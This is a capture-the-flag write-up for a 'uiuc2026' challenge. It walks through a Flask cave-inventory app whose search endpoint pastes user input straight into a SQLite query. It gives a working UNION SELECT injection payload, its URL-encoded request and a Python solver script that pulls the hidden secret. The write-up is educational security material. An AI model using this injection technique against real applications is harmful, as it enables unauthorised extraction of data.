$ cat writeup.md…
$ cat writeup.md…
uiuc2026
Task: A Flask loot search interpolates user input into a three-column SQLite query while a hidden table stores the target item. Solution: A compatible UNION SELECT extracts the hidden row and renders its secret field.
A beast once guarded this cave, but the treasure inventory is still hiding something legendary. Can you find the blue ocarina?
The handout provides a Flask application containing a searchable cave inventory. The goal is to find the hidden blue ocarina and recover the associated secret.
Source review immediately identifies the vulnerable data flow. The /search endpoint reads the attacker-controlled q parameter and inserts it directly into three SQLite LIKE predicates (challenge/app.py:67-77):
term = request.args.get("q", "") query = ( "SELECT item_count, item, description FROM main_cave " f"WHERE item_count LIKE '%{term}%' " f"OR item LIKE '%{term}%' " f"OR description LIKE '%{term}%' " "ORDER BY item" )
There is no parameter binding or escaping, so q can alter the query structure. Database initialization also reveals a second table (challenge/app.py:20-42):
CREATE TABLE main_cave (item_count TEXT, item TEXT, description TEXT); CREATE TABLE secret_opening (item TEXT, secret, description TEXT);
The hidden table contains the blue ocarina row, and its secret column receives the flag from the environment. Most importantly, both the visible query and hidden table have three columns, making direct UNION extraction possible without padding or column-count discovery.
Use the following value for q:
' UNION SELECT item, secret, description FROM secret_opening--
Inserted into the application query, it produces the relevant structure:
SELECT item_count, item, description FROM main_cave WHERE item_count LIKE '%%' UNION SELECT item, secret, description FROM secret_opening-- ' OR item LIKE '...' OR description LIKE '...' ORDER BY item
The opening quote closes the first LIKE pattern. UNION SELECT then returns the three hidden fields in an order compatible with the original result, while SQLite's -- comment consumes the remaining predicates and ORDER BY through the end of the statement. The first original predicate remains valid as item_count LIKE '%%'.
The application fetches the combined rows and passes them to Jinja (challenge/app.py:79-129). Each result is rendered as three table cells. For the injected row, the hidden secret value occupies the second cell and is therefore disclosed directly in the response.
The URL-encoded request shape is:
GET /search?q=%27%20UNION%20SELECT%20item%2C%20secret%2C%20description%20FROM%20secret_opening--%20
The supplied solver automates the request and extracts a value matching the public flag format:
#!/usr/bin/env python3 import re import sys import urllib.parse import urllib.request if len(sys.argv) != 2: raise SystemExit(f"usage: {sys.argv[0]} BASE_URL") base = sys.argv[1].rstrip("/") payload = "' UNION SELECT item, secret, description FROM secret_opening-- " url = base + "/search?" + urllib.parse.urlencode({"q": payload}) with urllib.request.urlopen(url, timeout=15) as response: body = response.read().decode("utf-8", "replace") flags = re.findall(r"uiuctf\{[^}\r\n]+\}", body) if not flags: raise SystemExit(f"flag not found; request was: {url}") print(flags[0])
Run it against the challenge instance:
python3 solve.py 'https://inst-46d471bd44649683-explore-cave-sql.chal.uiuc.tf/'
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar